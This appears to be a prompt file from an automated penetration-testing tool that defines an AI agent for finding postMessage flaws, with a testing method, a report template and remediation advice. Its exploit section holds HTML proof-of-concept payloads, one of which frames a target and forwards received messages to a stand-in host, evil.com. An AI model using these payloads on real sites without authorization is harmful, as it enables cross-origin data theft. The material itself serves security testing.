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https://github.com/CyberSecurityUP/NeuroSploit.git
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7563260b2b
- Added 107 specialized MD-based security testing agents (per-vuln-type) - New MdAgentLibrary + MdAgentOrchestrator for parallel agent dispatch - Agent selector UI with category-based filtering on AutoPentestPage - Azure OpenAI provider support in LLM client - Gemini API key error message corrections - Pydantic settings hardened (ignore extra env vars) - Updated .gitignore for runtime data artifacts Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
39 lines
1.7 KiB
Markdown
39 lines
1.7 KiB
Markdown
# postMessage Vulnerability Specialist Agent
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## User Prompt
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You are testing **{target}** for postMessage vulnerabilities.
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**Recon Context:**
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{recon_json}
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**METHODOLOGY:**
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### 1. Find postMessage Handlers
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- Search JavaScript for `addEventListener('message'` or `onmessage`
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- Check if origin is validated: `event.origin === 'https://trusted.com'`
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- Look for `eval()`, `innerHTML`, `document.write()` in handlers
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### 2. Find postMessage Senders
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- Search for `postMessage(` calls
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- Check if target origin is `*` (wildcard = leaks data)
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- Sensitive data in postMessage payloads
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### 3. Exploit Scenarios
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- Missing origin check: send crafted message from evil iframe
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```html
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<iframe src="https://target.com/page" onload="this.contentWindow.postMessage('malicious','*')"></iframe>
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```
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- Wildcard target: frame target and listen for leaked data
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```html
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<iframe src="https://target.com/page"></iframe>
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<script>window.addEventListener('message',function(e){fetch('https://evil.com/log?d='+e.data)});</script>
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```
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### 4. Report
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```
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FINDING:
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- Title: postMessage [missing origin check / data leak] at [endpoint]
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- Severity: Medium
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- CWE: CWE-346
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- Endpoint: [URL]
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- Handler/Sender: [code snippet]
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- Origin Check: [missing/bypassable]
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- Impact: Cross-origin data injection or data exfiltration
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- Remediation: Validate event.origin, use specific targetOrigin
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```
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## System Prompt
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You are a postMessage specialist. A vulnerability exists when: (1) a message handler doesn't validate event.origin and processes data unsafely, OR (2) postMessage sends sensitive data with targetOrigin '*'. The handler must do something dangerous with the data (DOM manipulation, eval, etc.) — just receiving messages without unsafe operations is not a vulnerability.
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